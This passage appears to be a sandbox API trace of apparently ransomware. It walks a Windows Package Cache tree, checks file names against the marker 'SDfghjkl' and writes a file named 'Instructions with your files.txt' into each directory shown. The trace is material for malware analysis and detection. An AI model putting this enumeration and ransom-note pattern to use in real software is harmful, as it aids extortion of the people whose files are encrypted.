[0132.048] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb464b080, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb464b080, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", cAlternateFileName="{929FB~1.210")) returned 1
[0132.048] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned 86
[0132.048] GetProcessHeap () returned 0x810000
[0132.048] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0132.048] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*") returned 88
[0132.048] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb464b080, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb464b080, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0132.048] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\.") returned 88
[0132.048] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb464b080, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb464b080, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.048] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\..") returned 89
[0132.048] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb464b080, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb464b080, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb464b080, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.048] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\Instructions with your files.txt") returned 119
[0132.048] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.048] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb4624f20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4624f20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
[0132.048] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages") returned 95
[0132.048] GetProcessHeap () returned 0x810000
[0132.048] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0132.048] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*") returned 97
[0132.048] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb4624f20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4624f20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0132.048] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\.") returned 97
[0132.049] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb4624f20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4624f20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.049] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\..") returned 98
[0132.049] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4624f20, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb4624f20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4624f20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.049] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\Instructions with your files.txt") returned 128
[0132.049] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.049] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb4624f20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4624f20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1
[0132.049] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64") returned 121
[0132.049] GetProcessHeap () returned 0x810000
[0132.049] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0132.049] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*") returned 123
[0132.049] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb4624f20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4624f20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0132.049] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\.") returned 123
[0132.049] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb4624f20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4624f20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.049] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\..") returned 124
[0132.049] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9b1b00, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7c9b1b00, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7c9b1b00, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0x554520, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
[0132.049] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 130
[0132.049] StrStrIW (lpFirst="cab1.cab", lpSrch="SDfghjkl") returned 0x0
[0132.049] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4624f20, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb4624f20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4624f20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.049] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\Instructions with your files.txt") returned 154
[0132.049] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.049] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a38c100, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7a38c100, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7a38c100, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
[0132.049] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 150
[0132.049] StrStrIW (lpFirst="vc_runtimeAdditional_x64.msi", lpSrch="SDfghjkl") returned 0x0
[0132.049] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a38c100, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7a38c100, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7a38c100, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
[0132.049] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\Instructions with your files.txt") returned 154
[0132.049] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0132.050] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0132.050] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0132.051] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0132.051] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0132.051] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0132.051] CloseHandle (hObject=0x118) returned 1
[0132.051] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0132.051] GetProcessHeap () returned 0x810000
[0132.051] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0132.051] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb4624f20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4624f20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0
[0132.051] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\Instructions with your files.txt") returned 128
[0132.051] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0132.051] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0132.052] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0132.052] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0132.052] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0132.052] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0132.053] CloseHandle (hObject=0x114) returned 1
[0132.053] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0132.053] GetProcessHeap () returned 0x810000
[0132.053] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0132.053] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb4624f20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4624f20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
[0132.053] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\Instructions with your files.txt") returned 119
[0132.053] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0132.053] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0132.054] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0132.054] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0132.054] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0132.054] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0132.054] CloseHandle (hObject=0x110) returned 1
[0132.054] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0132.054] GetProcessHeap () returned 0x810000
[0132.054] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0132.054] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb4697340, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4697340, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", cAlternateFileName="{A749D~1.210")) returned 1
[0132.054] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned 86
[0132.054] GetProcessHeap () returned 0x810000
[0132.055] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0132.055] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*") returned 88
[0132.055] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb4697340, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4697340, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0132.055] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\.") returned 88
[0132.055] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb4697340, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4697340, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.055] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\..") returned 89
[0132.055] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4697340, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb4697340, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4697340, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.055] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\Instructions with your files.txt") returned 119
[0132.055] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.055] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb4697340, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4697340, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
